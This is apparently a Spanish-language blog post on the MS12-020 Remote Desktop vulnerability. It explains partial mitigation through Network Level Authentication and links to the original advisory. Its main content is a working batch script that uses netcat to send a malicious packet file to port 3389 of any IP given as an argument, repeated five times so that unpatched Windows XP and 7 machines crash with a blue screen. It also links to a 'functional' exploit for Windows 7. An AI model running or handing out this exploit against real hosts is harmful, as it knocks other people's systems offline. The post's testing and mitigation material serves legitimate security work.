Como he comentado antes, en Windows 7 y Windows Server 2008 funciona a la perfección, pero es posible mitigar en parte este ataque, configurando el equipo para que sólo permita la autenticación basada en NLA (Network Level Authentication). Cuando configuramos esta opción, a la hora de negociar una conexión RDP contra un Server 2K8 o un Wiindows Vista/7, se obliga a autenticarse primero al cliente, antes de que el equipo que hace las veces de servidor establezca una sesión completa RDP. Esta configuración, mitigaría cualquier ataque de denegación de servicio de forma automatizada, debido a la no disponibilidad de usuario y password. En el caso de que se conozca un usuario y password de RDP, se podría seguir explotando el fallo, y automatizándolo con scripts.

Sin duda alguna, el que me ha funcionado a la perfección tanto en Windows XP como en Windows 7, ha sido el paquete de demostración que ha publicado el descubridor del fallo Luigi Auriemma. El paquete de demostración lo tiene publicado en el advisory ampliamente comentado en otros blogs y foros de internet, y funciona perfectamente.

En el propio Advisory, Luigi explica que en algunas ocasiones, se hace necesario realizar varias veces el envío del paquete malicioso para que Windows suelte un bonito BSOD, así que dicho y hecho! Como hay publicados ya muchos exploits en Python, Ruby, C y demás lenguajes, yo para probar mis sistemas he decidido realizar un cutre script en BATCH (Con dos cojones ) haciendo llamadas a netcat para que realice un envío del paquete malicioso.

Probando en Windows XP y Windows 7 con el paquete mágico, con sólo el envío de 4 paquetes los dos sistemas pintan un bonito BSOD. El cutre código (Of course) aquí:

 @echo off
 echo .
 echo ##################################################################################
 echo # MS12-020 cutre script BSOD Exploit
 echo # Juan Garrido http://windowstips.wordpress.com
 echo # Tested on XPSP3 And Windows 7 32 bits
 echo # Windows 7 With NLA (NetWork Level Authentication) not Working
 echo # See more http://technet.microsoft.com/en-us/security/bulletin/ms12-020
 echo ##################################################################################
 if "%1"=="" GOTO msg
 set _IP=%1
 set _Netcat=nc.exe %_IP% 3389 ^< termdd_1.dat
 :RUN
 FOR /L %%i IN (1,1,5) DO %_Netcat%
 GOTO end
 :msg
 echo ERROR: Specify a hostname or IP address.
 echo i.e. %0 HOSTNAME
 goto end
 :end
 pause
 

Salu2 a tod@s!

Referencias

https://github.com/FreeRDP/FreeRDP

http://pastebin.com/fFWkezQH (FAKE como una catedral)

http://blogs.technet.com/b/msrc/archive/2012/03/16/proof-of-concept-code-available-for-ms12-020.aspx

http://pastebin.com/jzQxvnpj (Exploit funcional Windows 7)

http://technet.microsoft.com/en-us/library/cc732713.aspx (Network Level Authentication)

http://aluigi.org/adv/termdd_1-adv.txt (Advisory explicando la vulnerabilidad MS12-020)